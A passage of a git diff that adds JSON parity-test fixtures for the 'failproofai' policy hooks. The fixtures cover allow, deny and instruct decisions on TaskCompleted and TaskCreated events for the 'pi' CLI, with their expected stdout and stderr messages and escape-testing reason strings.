"decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6a4f35f7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0b94bed2 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..c9dc3a49 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..945d7414 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..108f0a6e --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..01b8daa7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3699df99 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..46cb4904 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..227afd89 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "pi", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..035aae24 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2f60db17 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..dca1823a --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4c2f48e1 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..c27120cb --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..16d093c7 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2e03ae44 --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..97f666ae --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "pi", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..7b9c32ce --- /dev/null +++ b/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "pi", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "pi", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/pi/TaskCreated/deny__tool-absent__two-policies.json 